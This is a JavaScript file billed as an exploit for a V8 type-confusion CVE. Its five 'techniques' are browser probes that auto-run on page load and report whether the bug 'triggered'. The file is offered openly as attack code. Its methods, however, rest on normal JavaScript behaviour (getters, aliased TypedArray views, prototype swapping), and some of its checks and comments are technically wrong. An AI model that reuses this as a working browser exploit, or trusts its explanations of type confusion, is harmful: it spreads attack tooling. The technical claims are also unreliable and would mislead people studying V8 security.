/**
 * CVE-2025-12428 - Advanced V8 Type Confusion Exploit
 * 
 * This file contains more sophisticated techniques to trigger
 * the type confusion vulnerability in V8.
 * 
 * WARNING: For security research only. Use responsibly.
 */

class TypeConfusionExploit {
    constructor() {
        this.debugMode = true;
        this.techniques = [];
    }

    log(message, level = 'info') {
        const prefix = {
            'info': '[+]',
            'warning': '[!]',
            'error': '[-]',
            'success': '[✓]'
        }[level] || '[+]';
        
        if (this.debugMode || level === 'error') {
            console.log(`${prefix} ${message}`);
        }
    }

    /**
     * Advanced Technique: JIT Optimization Bypass
     * Forces V8's TurboFan optimizer to make incorrect type assumptions
     */
    jitOptimizationBypass() {
        this.log('Executing JIT Optimization Bypass...', 'info');
        
        function vulnerableFunction(value, index) {
            let arr = value;
            
            // Access array property - V8 might optimize this assuming arr is always Array
            return arr.length + arr[index];
        }
        
        // Phase 1: Warm up with arrays (train the optimizer)
        let trainingArray = [1, 2, 3, 4, 5];
        for (let i = 0; i < 100000; i++) {
            vulnerableFunction(trainingArray, i % 5);
        }
        
        // Phase 2: Trigger with object (type confusion)
        let maliciousObject = {
            length: 100,
            0: 0x41414141,  // Could be interpreted as memory address
            1: 0x42424242,
            2: 0x43434343
        };
        
        try {
            let result = vulnerableFunction(maliciousObject, 0);
            this.log(`Result: ${result} (0x${result.toString(16)})`, 'warning');
            
            // If we get here with unexpected result, confusion occurred
            if (result > 1000 || result < 0) {
                this.log('POTENTIAL TYPE CONFUSION DETECTED!', 'error');
                return true;
            }
        } catch (e) {
            this.log(`Exception: ${e.message}`, 'error');
            if (e.message.includes('Cannot read') || e.message.includes('undefined')) {
                // Normal behavior
            } else {
                this.log('Unexpected exception - possible crash indicator', 'warning');
                return true;
            }
        }
        
        return false;
    }

    /**
     * Property Accessor Manipulation
     * Creates getters that confuse type checking
     */
    propertyAccessorManipulation() {
        this.log('Executing Property Accessor Manipulation...', 'info');
        
        let obj = {};
        let counter = 0;
        
        Object.defineProperty(obj, 'length', {
            get: function() {
                counter++;
                // First few calls return number (array-like)
                if (counter < 100) {
                    return 10;
                }
                // Later calls return different type
                return { value: 10 };
            },
            configurable: true,
            enumerable: true
        });
        
        // Function that expects number
        function expectNumber(obj) {
            return obj.length * 2;
        }
        
        // Optimize with number
        for (let i = 0; i < 1000; i++) {
            let temp = { length: 5 };
            expectNumber(temp);
        }
        
        // Trigger with our object
        try {
            let result = expectNumber(obj);
            this.log(`Result: ${result}, type: ${typeof result}`, 'warning');
            if (typeof result !== 'number') {
                this.log('Type confusion: non-number result from number operation', 'error');
                return true;
            }
        } catch (e) {
            this.log(`Exception: ${e.message}`, 'error');
        }
        
        return false;
    }

    /**
     * Prototype Pollution with Array Methods
     */
    prototypePollutionArray() {
        this.log('Executing Prototype Pollution Technique...', 'info');
        
        // Create object with array-like prototype
        let target = {};
        Object.setPrototypeOf(target, Array.prototype);
        
        // Now target should have array methods
        try {
            target.push(1, 2, 3);
            this.log(`After push, length: ${target.length}`, 'info');
            
            // Access as object property
            let prop0 = target['0'];
            let prop1 = target[1];
            
            this.log(`Properties: [0]=${prop0}, [1]=${prop1}`, 'info');
            
            // Try to confuse V8 about type
            let length = target.length;
            if (typeof length !== 'number') {
                this.log('Type confusion in length property', 'error');
                return true;
            }
            
            // Attempt out-of-bounds access
            try {
                let oob = target[1000];
                this.log(`Out of bounds access: ${oob}`, 'warning');
            } catch (e) {
                // Expected
            }
            
        } catch (e) {
            this.log(`Exception: ${e.message}`, 'error');
        }
        
        return false;
    }

    /**
     * TypedArray View Confusion
     */
    typedArrayViewConfusion() {
        this.log('Executing TypedArray View Confusion...', 'info');
        
        let buffer = new ArrayBuffer(64);
        
        // Create multiple views
        let uint8View = new Uint8Array(buffer);
        let uint32View = new Uint32Array(buffer);
        let float64View = new Float64Array(buffer);
        
        // Write pattern
        for (let i = 0; i < 8; i++) {
            uint8View[i] = 0x41 + i; // 'A', 'B', 'C', etc.
        }
        
        // Read with different type
        try {
            let uint32Value = uint32View[0];
            let float64Value = float64View[0];
            
            this.log(`Uint32[0]: 0x${uint32Value.toString(16)}`, 'info');
            this.log(`Float64[0]: ${float64Value}`, 'info');
            
            // Check for unexpected values that might indicate confusion
            if (float64Value === Infinity || isNaN(float64Value)) {
                // Could indicate memory corruption
                this.log('Unexpected float value - possible corruption', 'warning');
            }
        } catch (e) {
            this.log(`Exception: ${e.message}`, 'error');
        }
        
        return false;
    }

    /**
     * Inline Cache (IC) Poisoning
     * Attempts to poison V8's inline caches
     */
    inlineCachePoisoning() {
        this.log('Executing Inline Cache Poisoning...', 'info');
        
        function accessProperty(obj) {
            return obj.prop;
        }
        
        // Create multiple shapes
        let shape1 = { prop: 1, a: 1 };
        let shape2 = { prop: 2, b: 2 };
        let shape3 = { prop: 3, c: 3 };
        
        // Warm up IC with different shapes
        for (let i = 0; i < 1000; i++) {
            accessProperty(shape1);
            accessProperty(shape2);
            accessProperty(shape3);
        }
        
        // Now create object with property descriptor instead of data property
        let trickyObj = {};
        Object.defineProperty(trickyObj, 'prop', {
            get: function() {
                // Return different type
                return { value: 42 };
            },
            configurable: true
        });
        
        try {
            let result = accessProperty(trickyObj);
            this.log(`Result type: ${typeof result}`, 'warning');
            
            if (typeof result !== 'number' && result !== undefined) {
                this.log('IC confusion: unexpected type returned', 'error');
                return true;
            }
        } catch (e) {
            this.log(`Exception: ${e.message}`, 'error');
        }
        
        return false;
    }

    /**
     * Run all exploit techniques
     */
    runAll() {
        this.log('=== CVE-2025-12428 Advanced Exploit ===', 'info');
        this.log(`Browser: ${navigator.userAgent}`, 'info');
        this.log('', 'info');
        
        let results = [];
        
        results.push({
            name: 'JIT Optimization Bypass',
            triggered: this.jitOptimizationBypass()
        });
        
        results.push({
            name: 'Property Accessor Manipulation',
            triggered: this.propertyAccessorManipulation()
        });
        
        results.push({
            name: 'Prototype Pollution',
            triggered: this.prototypePollutionArray()
        });
        
        results.push({
            name: 'TypedArray View Confusion',
            triggered: this.typedArrayViewConfusion()
        });
        
        results.push({
            name: 'Inline Cache Poisoning',
            triggered: this.inlineCachePoisoning()
        });
        
        // Summary
        this.log('', 'info');
        this.log('=== Results Summary ===', 'info');
        results.forEach(r => {
            const status = r.triggered ? 'TRIGGERED' : 'failed';
            const level = r.triggered ? 'error' : 'info';
            this.log(`${r.name}: ${status}`, level);
        });
        
        const triggeredCount = results.filter(r => r.triggered).length;
        if (triggeredCount > 0) {
            this.log('', 'warning');
            this.log(`${triggeredCount} technique(s) may have triggered the vulnerability!`, 'error');
        }
        
        return results;
    }
}

// Export or run
if (typeof module !== 'undefined' && module.exports) {
    module.exports = TypeConfusionExploit;
} else if (typeof window !== 'undefined') {
    window.TypeConfusionExploit = TypeConfusionExploit;
    
    // Auto-run if loaded in browser
    if (document.readyState === 'complete') {
        setTimeout(() => {
            const exploit = new TypeConfusionExploit();
            exploit.runAll();
        }, 1000);
    }
}